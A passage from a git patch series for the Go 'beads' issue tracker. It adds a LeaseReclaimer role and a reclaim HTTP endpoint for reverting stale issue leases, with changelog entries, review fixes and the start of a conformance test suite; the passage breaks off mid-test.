(TestShardScriptsListOnlyRealTests's B1 fix catches outright // corruption, but not a committed block that has drifted from the currently // discovered TestProxiedServer*/TestServerMode* test set, e.g. a test added, @@ -243,9 +243,10 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { python := requireHostTool(t, "python3") root := sourceRepoRoot(t) - cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", "30", "--weights=duration", "--check") + shards := strconv.Itoa(bazelProxiedShardCount(t)) + cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", shards, "--weights=duration", "--check") cmd.Dir = root if out, err := cmd.CombinedOutput(); err != nil { - t.Errorf("gen_proxied_shard_manifest.py 30 --weights=duration --check: %v\n%s", err, out) + t.Errorf("gen_proxied_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) } } From 470ec832b50b8e452a43f56c47e87128b8d2ecb7 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 14:56:32 +0000 Subject: [PATCH 077/213] feat(roles): LeaseReclaimer role, POST issues:reclaim, and bd reclaim on both routes (S9) (#7412) * feat(roles): LeaseReclaimer role and POST issues:reclaim (S9) Adds issueops.LeaseReclaimer.Reclaim(ReclaimRequest{Actor, OlderThan, Filter}) -> ReclaimResult{Reclaimed []ReclaimedLease{ID, PreviousOwner, Revision}}, the stale-lease sweep behind `bd reclaim`, on every leg: - dolt, embedded dolt and the unit-of-work provider all run one body, internal/storage/issueops.ExecuteReclaimInTx over ReclaimExpiredLeasesInTx, and record one version commit per sweep that reverted anything through the issue-operation funnel (so a deferred version commit on the context is honored); - each reverted row's fresh row_lock is published as its revision, so a former holder's guarded write fails with ErrVersionMismatch; - an id that is not a stale lease (absent, live, unheld) is left out of Reclaimed, never an error; the id scope is capped at 1000 (*TooManyReclaimIDsError, counted as sent); - the hook decorator fires on_update once per reverted row (and the proxied notifying provider records one update per row); telemetry wraps it like every role. bd serve publishes it as POST /v0/beads/issues:reclaim behind the new issues.reclaim capability (httpapi.Config.LeaseReclaimer, required like every role). Spec, apigen and the wire-shape golden are regenerated; the change is additive and wire_revision is unchanged. The HTTP client leg dials it (wire vocabulary, capability preflight, local validation in the role's order). Conformance: RunLeaseReclaimer* (12 cases: revert post-state, the revision race, live lease, grace window, id scope with absent/live ids, empty answer, assignee/label scopes re-homed from reclaim_scope.go, recovery event attribution, on_update once per row, refusals, the cap boundary, no request mutation) wired on dolt, embeddeddolt, uow and the served http leg, and so held by the leg lock. Handler tests cover the member mapping, the projection, every handler refusal by name and the role's refusals reaching the wire. Co-Authored-By: Claude Opus 5.5 * feat(bd): bd reclaim runs the LeaseReclaimer role on both routes (S9) `bd reclaim` takes issueops.LeaseReclaimer off the decorated store on the direct route (so a connected HTTP workspace dials issues:reclaim instead of refusing) and off the proxied provider's own accessor on the proxied route, replacing the raw ReclaimExpiredLeases calls and runReclaimProxiedServer. Visible changes: --json entries carry the reverted row's new `revision`, the workspace's on_update hook fires once per reverted row, and the version commit is the role's own ("bd: reclaim N expired lease(s)", honoring dolt.auto-commit through the context the way bd prune does). Tests: an embedded direct-route CLI test (scoped sweep with a live and an absent id, revision, one version commit, on_update once) and the proxied reclaim integration test now asserts the revision. Co-Authored-By: Claude Opus 5.5 * fix(roles): S9 review LOWs: one validator, field attribution, overflow bound - The library's ValidateReclaimRequest is the one definition of a valid reclaim: it now also refuses a blank assignee/label/label-any/exclude entry, and every refusal but the id cap is a *issueops.ReclaimFieldError naming its field. The httpapi handler no longer checks blank entries itself; failReclaimErr names the member the role's error is about (`ids` for the cap) instead of blaming `ids` for every validation. The HTTP client's restatement matches, pinned field by field. - older_than_seconds is refused at >= MaxInt64/1e9: that float rounds to 2^63 ns, which wrapped negative under the old > check. - New contract case RunLeaseReclaimerRefusesABlankScopeEntry on all four legs; handler tests for field attribution and the overflow boundary. - CHANGELOG names the 1000-id cap on bd reclaim --id and is rewrapped; the client's grace-window precision comment no longer claims exactness. Co-Authored-By: Claude Opus 5.5 * fix(roles): S9 review: regenerate the unsupported shell, cgo-tag the embedded contract, one actor spelling - go generate ./internal/httpclient: the new accessor moves the partial-shell trailer to 145 of 200. - lease_reclaimer_contract_test.go gets //go:build cgo like its siblings, so the pure-Go lane compiles. - The library trims the actor before attributing, matching the handler, so " alice " is attributed the same on every route. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(roles): S9 review minors: bound the reclaim actor on every leg, pin any_replica, validate before the uow Review minors on #7412, each in code this PR adds. - The reclaim actor lands on every reverted row's recovery event, in a VARCHAR(255) column, but ValidateReclaimRequest never bounded it: a 256-character actor passed validation on the dolt, embedded-dolt and unit-of-work legs and failed the sweep with the backend's own "Error 1105: string '...' is too large for column 'actor'" on the first row it would have reverted (all three legs answer exactly that with the bound below removed). The shared validator now holds the trimmed actor to types.MaxFieldLen, as claimIssueInTx does, so it is a *ReclaimFieldError for `actor` on every leg. The HTTP client restates the rule, and the parity test covers both sides of it. bd serve already refused it through the claim's name rules. The role's Actor and REFUSALS docs name the bound, and the conformance case runs it on all four legs. - ValidateReclaimRequest's doc no longer says bd serve's handler leaves every rule to it: it names the three wire rules the handler adds of its own. - TestReclaimSendsAnyReplicaOnlyWhenAsked pins the one filter member that widens a sweep: the client sends any_replica only when the caller set it. - The unit-of-work leg validates before opening its unit of work, as the dolt and embedded-dolt legs do; TestLeaseReclaimerRefusesBeforeOpeningAUOW pins it. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .github/scripts/embedded-cmd-test-shards.txt | 1 + .../scripts/embedded-storage-test-shards.txt | 1 + CHANGELOG.md | 15 + backend/conformance/BUILD.bazel | 2 + .../conformance/lease_reclaimer_contract.go | 625 ++++++++++++++++++ cmd/bd/BUILD.bazel | 1 + cmd/bd/reclaim.go | 76 ++- cmd/bd/reclaim_embedded_test.go | 133 ++++ cmd/bd/serve.go | 30 +- cmd/bd/serve_source_test.go | 27 + cmd/bd/serve_store_identity_test.go | 8 + cmd/bd/unclaim_proxied_integration_test.go | 6 + cmd/bd/unclaim_proxied_server.go | 31 - internal/httpapi/BUILD.bazel | 2 + internal/httpapi/apigen/types.gen.go | 43 +- internal/httpapi/claim.go | 7 + internal/httpapi/pinning.go | 2 + internal/httpapi/problem.go | 11 + internal/httpapi/reclaim.go | 249 +++++++ internal/httpapi/reclaim_test.go | 317 +++++++++ internal/httpapi/roles_test.go | 31 + internal/httpapi/routes.go | 11 + internal/httpapi/server.go | 25 +- internal/httpapi/spec/openapi.v0.yaml | 196 +++++- internal/httpapi/spec_parity_test.go | 11 +- .../httpapi/wireshape/testdata/golden.json | 87 +++ internal/httpclient/BUILD.bazel | 2 + internal/httpclient/accessors.go | 9 + internal/httpclient/encode/oracle_test.go | 2 + internal/httpclient/leasereclaimer.go | 135 ++++ internal/httpclient/served_harness_test.go | 2 + .../httpclient/served_lease_reclaimer_test.go | 111 ++++ internal/httpclient/served_test.go | 3 + internal/httpclient/unsupported_gen.go | 2 +- internal/httpclient/wave2b_roles_test.go | 86 +++ internal/httpclient/wire/handshake.go | 5 + internal/httpclient/wire/paths.go | 2 + .../wire/revision_tolerance_test.go | 4 + internal/httpclient/wire/skew_test.go | 11 +- internal/httpclient/wire/vocabulary_test.go | 1 + internal/storage/BUILD.bazel | 2 + internal/storage/dolt/BUILD.bazel | 2 + internal/storage/dolt/lease_reclaimer.go | 50 ++ .../dolt/lease_reclaimer_contract_test.go | 114 ++++ internal/storage/domain/db/issue.go | 7 + internal/storage/domain/issue.go | 17 + internal/storage/embeddeddolt/BUILD.bazel | 2 + .../storage/embeddeddolt/lease_reclaimer.go | 54 ++ .../lease_reclaimer_contract_test.go | 111 ++++ .../storage/externaldeps/uow_decorator.go | 6 +- internal/storage/hook_batch_applier_test.go | 4 + internal/storage/hook_decorator.go | 16 + internal/storage/hook_issue_operations.go | 1 + .../storage/hook_issue_operations_test.go | 3 + internal/storage/hook_lease_reclaimer.go | 42 ++ internal/storage/hook_lease_reclaimer_test.go | 83 +++ internal/storage/issueops/BUILD.bazel | 2 + internal/storage/issueops/lease.go | 9 +- internal/storage/issueops/lease_reclaimer.go | 123 ++++ .../storage/issueops/lease_reclaimer_test.go | 107 +++ .../storage/role_accessor_decorator_test.go | 130 ++-- internal/storage/storage.go | 9 + internal/storage/uow/BUILD.bazel | 2 + internal/storage/uow/lease_reclaimer.go | 60 ++ .../uow/lease_reclaimer_contract_test.go | 146 ++++ internal/storage/uow/notifying.go | 24 + internal/telemetry/BUILD.bazel | 1 + internal/telemetry/lease_reclaimer.go | 36 + .../telemetry/role_accessor_decorator_test.go | 12 +- internal/types/types.go | 7 + issue_roles_external_test.go | 33 + issueops/BUILD.bazel | 1 + issueops/leasereclaimer.go | 183 +++++ 73 files changed, 3582 insertions(+), 140 deletions(-) create mode 100644 backend/conformance/lease_reclaimer_contract.go create mode 100644 cmd/bd/reclaim_embedded_test.go create mode 100644 internal/httpapi/reclaim.go create mode 100644 internal/httpapi/reclaim_test.go create mode 100644 internal/httpclient/leasereclaimer.go create mode 100644 internal/httpclient/served_lease_reclaimer_test.go create mode 100644 internal/storage/dolt/lease_reclaimer.go create mode 100644 internal/storage/dolt/lease_reclaimer_contract_test.go create mode 100644 internal/storage/embeddeddolt/lease_reclaimer.go create mode 100644 internal/storage/embeddeddolt/lease_reclaimer_contract_test.go create mode 100644 internal/storage/hook_lease_reclaimer.go create mode 100644 internal/storage/hook_lease_reclaimer_test.go create mode 100644 internal/storage/issueops/lease_reclaimer.go create mode 100644 internal/storage/issueops/lease_reclaimer_test.go create mode 100644 internal/storage/uow/lease_reclaimer.go create mode 100644 internal/storage/uow/lease_reclaimer_contract_test.go create mode 100644 internal/telemetry/lease_reclaimer.go create mode 100644 issueops/leasereclaimer.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 7a1c26452..a0ef80ddb 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -346,6 +346,7 @@ 50 24 TestEmbeddedCloseBasic 50 24 TestEmbeddedImportUpsertAndPrefixSync 50 24 TestEmbeddedQuery +50 24 TestEmbeddedReclaimRunsTheLeaseReclaimerRole 50 24 TestEmbeddedUpdateRoutedStoreCommitsTargetHead 50 25 TestEmbeddedBackupConcurrent diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index c92319f31..da78fa452 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -433,6 +433,7 @@ 20 15 TestExpectedRevisionContract 20 15 TestLargeBatchApplyStatementCounts356_Embedded 20 15 TestLargeGraphCreateTiming_Embedded +20 15 TestLeaseReclaimerContract 20 15 TestReadyWorkPageTotalFilterMatrix 20 15 TestReclaimExpiredLeaseSurvivesRestartEmbedded 20 15 TestRemoteEntryPointsUseVersionControlOps diff --git a/CHANGELOG.md b/CHANGELOG.md index 9831b832c..3497db5d1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,21 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- `issueops.LeaseReclaimer`, the stale-lease sweep behind `bd reclaim`, is a + role on every leg (dolt, embedded dolt, the unit-of-work provider and the + HTTP client), and `bd serve` publishes it as `POST /v0/beads/issues:reclaim` + behind the new `issues.reclaim` capability (additive; `wire_revision` is + unchanged). Every reverted row mints a new revision, reported per entry as + `revision`, so a holder that writes with its pre-reclaim token gets a version + mismatch. An id that is not a stale lease is left out of the answer, not + refused. `bd reclaim` now runs the role on both routes, which changes four + things a script can see: its `--json` entries gain `revision`; the + workspace's `on_update` hook fires once per reverted row (the raw path fired + none); `--id` now accepts at most 1000 ids per run (more is refused, never + truncated); and the role records its own version commit, honoring + `dolt.auto-commit` the way `bd prune` does, as + `bd: reclaim N expired lease(s)` on both routes. Over a connected HTTP + workspace `bd reclaim` now works instead of refusing. - `bd create --graph` now plans its batch through `issueops.BatchApplier` instead of the old `buildDomainGraphPlan` path, so a graph create gets the same atomic multi-row semantics as `bd batch apply`. A `waits-for` edge's diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel index 1f9632e79..f5c8882cc 100644 --- a/backend/conformance/BUILD.bazel +++ b/backend/conformance/BUILD.bazel @@ -35,6 +35,7 @@ go_library( "issue_operations_contract.go", "issue_operations_staging.go", "journal_contract.go", + "lease_reclaimer_contract.go", "lifecycle_close_reopen_contract.go", "lifecycle_create_contract.go", "lifecycle_update_contract.go", @@ -62,6 +63,7 @@ go_library( importpath = "github.com/steveyegge/beads/backend/conformance", visibility = ["//visibility:public"], deps = [ + "//internal/hooks", "//internal/storage", "//internal/storage/issueops", "//internal/storage/kvkeys", diff --git a/backend/conformance/lease_reclaimer_contract.go b/backend/conformance/lease_reclaimer_contract.go new file mode 100644 index 000000000..eadc6c176 --- /dev/null +++ b/backend/conformance/lease_reclaimer_contract.go @@ -0,0 +1,625 @@ +package conformance + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "runtime" + "slices" + "sort" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/hooks" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// This file holds the contract every implementation of publicops.LeaseReclaimer +// must satisfy. Each case asserts what issueops/leasereclaimer.go PROMISES, +// cited by symbol. +// +// FOUR LEGS, ONE BODY. dolt, embedded dolt and the unit-of-work provider all +// reach internal/storage/issueops.ExecuteReclaimInTx, and the http leg reaches +// the same body on the far side of POST /v0/beads/issues:reclaim. So a per-leg +// failure here is a wrapper's failure — a lost scope, a revision that never +// reached the caller, a refusal that stopped matching errors.Is — and the +// cases are written to catch exactly those. +// +// EVERY SWEEP HERE IS SCOPED. The legs share one database per suite with every +// other role's cases, and an UNSCOPED reclaim would revert whatever stale lease +// another case left behind. Every call below names its ids, or an assignee or +// label this case alone uses, so a case can never reach outside what it seeded. +// The workspace-wide form is the same SQL with the scope clause absent, which +// sqlbuild.ReclaimScopeSQL's own tests pin. +// +// STALENESS IS MANUFACTURED, NOT WAITED FOR. The role refuses a negative +// OlderThan (the raw method's -time.Hour trick is exactly what it rules out), +// so a case claims through the leg's real Claimer — which writes the lease row +// every reclaim reads — and then moves that row's lease_expires_at into the +// past through Exec. +type LeaseReclaimerFixture struct { + // IssuePrefix namespaces the ids each assertion seeds, so several of them + // can share one database. + IssuePrefix string + // LeaseReclaimer is the surface under test. + LeaseReclaimer publicops.LeaseReclaimer + // CreateIssue seeds a durable issue in the issues plane. + CreateIssue func(context.Context, *types.Issue, string) error + // Claimer takes the claim, and with it the lease row, a reclaim reverts. It + // is the leg's own role rather than a raw insert so the lease is the shape + // a real claim leaves, granted_node included. + Claimer publicops.Claimer + // Lifecycle performs the guarded write the revision case races against the + // reclaim. A nil Lifecycle SKIPS that case loudly. + Lifecycle publicops.Lifecycle + // Exec runs raw statements against the backing database: the cases use it + // to age a lease and to attach labels. A nil Exec SKIPS every case that + // needs a stale lease, which is nearly all of them, so every leg supplies + // one. + Exec func(ctx context.Context, statements []SQLStatement) error + // QueryScalar runs a single-row query and scans it, so the post-state is + // read RAW rather than through the role being tested. + QueryScalar func(context.Context, string, []any, ...any) error + // HookedLeaseReclaimer is the same role taken off the leg's HOOK-FIRING + // chain (storage.HookFiringStore on the store legs and the http leg, + // uow.NewNotifyingProvider on the unit-of-work leg), built over the runner + // FiredUpdates reads. Nil, with FiredUpdates, SKIPS the hook case loudly. + HookedLeaseReclaimer publicops.LeaseReclaimer + // FiredUpdates reports, in firing order, the issue id of every on_update + // the hooked chain ran so far. It must not return before the hooks it is + // asked about have finished. + FiredUpdates func(context.Context) ([]string, error) +} + +const ( + leaseReclaimerReaper = "reaper" + leaseReclaimerHolder = "lr-holder" +) + +// RunLeaseReclaimerRevertsAStaleLease pins the post-state the role names +// (issueops/leasereclaimer.go, LeaseReclaimer: "each reclaimed row moves +// in_progress -> open and the assignee is cleared") and the three members of +// the ReclaimedLease it reports, each READ RAW. +func RunLeaseReclaimerRevertsAStaleLease(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-revert" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + + result := leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + }) + if len(result.Reclaimed) != 1 { + t.Fatalf("Reclaimed = %+v, want exactly %s", result.Reclaimed, id) + } + got := result.Reclaimed[0] + if got.ID != id || got.PreviousOwner != leaseReclaimerHolder { + t.Fatalf("Reclaimed[0] = %+v, want {ID:%s PreviousOwner:%s}", got, id, leaseReclaimerHolder) + } + + if status := leaseReclaimerScalar[string](t, ctx, fixture, "SELECT status FROM issues WHERE id = ?", id); status != string(types.StatusOpen) { + t.Fatalf("status after reclaim = %q, want %q", status, types.StatusOpen) + } + if held := leaseReclaimerScalar[int](t, ctx, fixture, + "SELECT COUNT(*) FROM issues WHERE id = ? AND (COALESCE(assignee, '') <> '' OR started_at IS NOT NULL)", id); held != 0 { + t.Fatal("reclaim left the assignee or started_at set; the row is still held by a dead worker") + } + if leases := leaseReclaimerScalar[int](t, ctx, fixture, "SELECT COUNT(*) FROM leases WHERE issue_id = ?", id); leases != 0 { + t.Fatalf("lease rows after reclaim = %d, want 0", leases) + } + stored := leaseReclaimerScalar[int64](t, ctx, fixture, "SELECT row_lock FROM issues WHERE id = ?", id) + if got.Revision != types.RevisionToken(stored) { + t.Fatalf("Reclaimed[0].Revision = %q, want the row's own token %q", got.Revision, types.RevisionToken(stored)) + } +} + +// RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder is the reason the +// revision is minted at all (LeaseReclaimer: "a racing holder's guarded write +// fails with ErrVersionMismatch"). A worker that lost its lease and wakes up +// holding the token its claim handed it must NOT be able to land a guarded +// write over the issue another worker may already have taken; the token the +// reclaim reported, and only it, lands. +func RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + if fixture.Lifecycle == nil { + t.Skip("LeaseReclaimerFixture.Lifecycle is nil: this backend cannot race a guarded write against the reclaim") + } + id := fixture.IssuePrefix + "-fence" + claimed := leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id)[id] + + result := leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + }) + if len(result.Reclaimed) != 1 { + t.Fatalf("Reclaimed = %+v, want exactly %s", result.Reclaimed, id) + } + minted, err := types.ParseRevisionToken(result.Reclaimed[0].Revision) + if err != nil { + t.Fatalf("Reclaimed[0].Revision %q is not a revision token: %v", result.Reclaimed[0].Revision, err) + } + if minted == claimed { + t.Fatalf("reclaim reported revision %d, the claim's own token: nothing was minted", minted) + } + + stale := claimed + _, err = fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: leaseReclaimerHolder, IssueID: id, ExpectedVersion: &stale, + Patch: publicops.IssuePatch{Notes: publicops.Field[string]{Set: true, Value: "late write"}}, + }) + if !errors.Is(err, publicops.ErrVersionMismatch) { + t.Fatalf("guarded write with the pre-reclaim token = %v, want ErrVersionMismatch", err) + } + + fresh := minted + if _, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: leaseReclaimerReaper, IssueID: id, ExpectedVersion: &fresh, + Patch: publicops.IssuePatch{Notes: publicops.Field[string]{Set: true, Value: "after reclaim"}}, + }); err != nil { + t.Fatalf("guarded write with the token the reclaim reported = %v, want it to land", err) + } +} + +// RunLeaseReclaimerLeavesALiveLeaseAlone pins staleness as the gate: a lease +// that has not expired is not eligible, even when its id is named, and naming +// it is not an error (ReclaimRequest.Filter: "FILTER.IDS IS NOT AN ERROR WHEN +// IT NAMES A NON-STALE OR UNKNOWN ISSUE"). +func RunLeaseReclaimerLeavesALiveLeaseAlone(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-live" + leaseReclaimerSeedClaimed(t, ctx, fixture, leaseReclaimerHolder, id) + + result := leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + }) + if len(result.Reclaimed) != 0 { + t.Fatalf("Reclaimed = %+v, want nothing: the lease has not expired", result.Reclaimed) + } + leaseReclaimerRequireHeld(t, ctx, fixture, id) +} + +// RunLeaseReclaimerHonorsTheGraceWindow pins ReclaimRequest.OlderThan: a lease +// expired less than OlderThan ago is left alone, and the same lease is +// reclaimed once the window is narrower than its age. +func RunLeaseReclaimerHonorsTheGraceWindow(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-grace" + leaseReclaimerSeedClaimed(t, ctx, fixture, leaseReclaimerHolder, id) + leaseReclaimerAge(t, ctx, fixture, 10*time.Minute, id) + + request := publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + OlderThan: time.Hour, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + } + if result := leaseReclaim(t, ctx, fixture, request); len(result.Reclaimed) != 0 { + t.Fatalf("OlderThan 1h over a lease 10m stale: Reclaimed = %+v, want nothing", result.Reclaimed) + } + leaseReclaimerRequireHeld(t, ctx, fixture, id) + + request.OlderThan = time.Minute + if got := leaseReclaimerIDs(leaseReclaim(t, ctx, fixture, request)); !slices.Equal(got, []string{id}) { + t.Fatalf("OlderThan 1m over a lease 10m stale: Reclaimed = %v, want [%s]", got, id) + } +} + +// RunLeaseReclaimerScopesToTheNamedIDs pins the IDs scope from both sides: an +// id that is not named is never reverted though it is stale, and an id that is +// named but absent or live is simply missing from Reclaimed — the call does +// not fail and does not report it. +func RunLeaseReclaimerScopesToTheNamedIDs(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + named := fixture.IssuePrefix + "-scope-named" + unnamed := fixture.IssuePrefix + "-scope-unnamed" + live := fixture.IssuePrefix + "-scope-live" + ghost := fixture.IssuePrefix + "-scope-ghost" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, named, unnamed) + leaseReclaimerSeedClaimed(t, ctx, fixture, leaseReclaimerHolder, live) + + result := leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{ghost, live, named}}, + }) + if got := leaseReclaimerIDs(result); !slices.Equal(got, []string{named}) { + t.Fatalf("Reclaimed = %v, want [%s]: only the named stale lease", got, named) + } + leaseReclaimerRequireHeld(t, ctx, fixture, unnamed) + leaseReclaimerRequireHeld(t, ctx, fixture, live) +} + +// RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult pins the empty answer: +// a sweep scoped only to ids that name no row is not a refusal, and its +// Reclaimed is empty and NON-NIL (ReclaimResult.Reclaimed: "Never nil for a +// successful call"). +func RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + result, err := fixture.LeaseReclaimer.Reclaim(ctx, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{fixture.IssuePrefix + "-absent-a", fixture.IssuePrefix + "-absent-b"}}, + }) + if err != nil { + t.Fatalf("Reclaim scoped to absent ids = %v, want an empty answer", err) + } + if result.Reclaimed == nil { + t.Fatal("Reclaimed is nil; the role promises an empty, non-nil slice") + } + if len(result.Reclaimed) != 0 { + t.Fatalf("Reclaimed = %+v, want nothing", result.Reclaimed) + } +} + +// RunLeaseReclaimerScopesToAssigneesAndLabels re-homes the raw method's scope +// cases (testReclaimScoped) onto the role: assignee, label (AND), label-any +// (OR) and exclude-label each narrow the sweep and never widen it. +func RunLeaseReclaimerScopesToAssigneesAndLabels(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + p := fixture.IssuePrefix + a1, a2, b1, c1 := p+"-lbl-a1", p+"-lbl-a2", p+"-lbl-b1", p+"-lbl-c1" + laneA, laneB, opus := p+"-lane-a", p+"-lane-b", p+"-tier-opus" + workerA, workerB, workerC := p+"-wa", p+"-wb", p+"-wc" + leaseReclaimerSeedStale(t, ctx, fixture, workerA, a1, a2) + leaseReclaimerSeedStale(t, ctx, fixture, workerB, b1) + leaseReclaimerSeedStale(t, ctx, fixture, workerC, c1) + leaseReclaimerLabel(t, ctx, fixture, a1, laneA) + leaseReclaimerLabel(t, ctx, fixture, a2, laneA) + leaseReclaimerLabel(t, ctx, fixture, a2, opus) + leaseReclaimerLabel(t, ctx, fixture, b1, laneB) + + reclaim := func(filter publicops.ReclaimFilter) []string { + t.Helper() + return leaseReclaimerIDs(leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{Actor: leaseReclaimerReaper, Filter: filter})) + } + + if got := reclaim(publicops.ReclaimFilter{Labels: []string{laneB}}); !slices.Equal(got, []string{b1}) { + t.Fatalf("reclaim(labels %s) = %v, want [%s]", laneB, got, b1) + } + if got := reclaim(publicops.ReclaimFilter{Assignees: []string{workerC}}); !slices.Equal(got, []string{c1}) { + t.Fatalf("reclaim(assignees %s) = %v, want [%s]", workerC, got, c1) + } + if got := reclaim(publicops.ReclaimFilter{Labels: []string{laneA}, ExcludeLabels: []string{opus}}); !slices.Equal(got, []string{a1}) { + t.Fatalf("reclaim(labels %s, exclude %s) = %v, want [%s]", laneA, opus, got, a1) + } + leaseReclaimerRequireHeld(t, ctx, fixture, a2) + if got := reclaim(publicops.ReclaimFilter{LabelsAny: []string{p + "-lane-z", opus}}); !slices.Equal(got, []string{a2}) { + t.Fatalf("reclaim(labels-any lane-z,%s) = %v, want [%s]", opus, got, a2) + } +} + +// RunLeaseReclaimerAttributesTheRecoveryEvent pins ReclaimRequest.Actor: the +// recovery event each reverted row records names the actor who ran the sweep, +// with the lease's former holder beside it. +func RunLeaseReclaimerAttributesTheRecoveryEvent(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-event" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + }) + if n := leaseReclaimerScalar[int](t, ctx, fixture, + "SELECT COUNT(*) FROM events WHERE issue_id = ? AND event_type = ? AND actor = ? AND old_value = ?", + id, string(types.EventLeaseReclaimed), leaseReclaimerReaper, leaseReclaimerHolder); n != 1 { + t.Fatalf("lease_reclaimed events by %s naming %s = %d, want 1", leaseReclaimerReaper, leaseReclaimerHolder, n) + } +} + +// RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow pins the hook the role +// names (LeaseReclaimer: "ITS HOOK IS on_update, once per reverted row"): each +// reverted row fires on_update exactly once, and a row the sweep did not +// revert — named but live — fires nothing. +func RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + if fixture.HookedLeaseReclaimer == nil || fixture.FiredUpdates == nil { + t.Skip("LeaseReclaimerFixture.HookedLeaseReclaimer/FiredUpdates is nil: this backend cannot observe its hooks") + } + first := fixture.IssuePrefix + "-hook-a" + second := fixture.IssuePrefix + "-hook-b" + live := fixture.IssuePrefix + "-hook-live" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, first, second) + leaseReclaimerSeedClaimed(t, ctx, fixture, leaseReclaimerHolder, live) + before, err := fixture.FiredUpdates(ctx) + if err != nil { + t.Fatalf("FiredUpdates before: %v", err) + } + + result, err := fixture.HookedLeaseReclaimer.Reclaim(ctx, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{first, second, live}}, + }) + if err != nil { + t.Fatalf("hooked Reclaim: %v", err) + } + if got := leaseReclaimerIDs(result); !slices.Equal(got, []string{first, second}) { + t.Fatalf("Reclaimed = %v, want [%s %s]", got, first, second) + } + + after, err := fixture.FiredUpdates(ctx) + if err != nil { + t.Fatalf("FiredUpdates after: %v", err) + } + fired := map[string]int{} + for _, id := range after[len(before):] { + fired[id]++ + } + for _, id := range []string{first, second} { + if fired[id] != 1 { + t.Fatalf("on_update fired %d time(s) for %s, want exactly 1 (fired: %v)", fired[id], id, after[len(before):]) + } + } + if fired[live] != 0 { + t.Fatalf("on_update fired for %s, which the sweep did not revert", live) + } +} + +// RunLeaseReclaimerRefusesAMalformedRequest pins every refusal the role lists, +// each as ErrValidation (the cap as *TooManyReclaimIDsError), and that a +// refusal changes nothing: the stale lease every request names survives all of +// them. +func RunLeaseReclaimerRefusesAMalformedRequest(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-malformed" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + + tooMany := 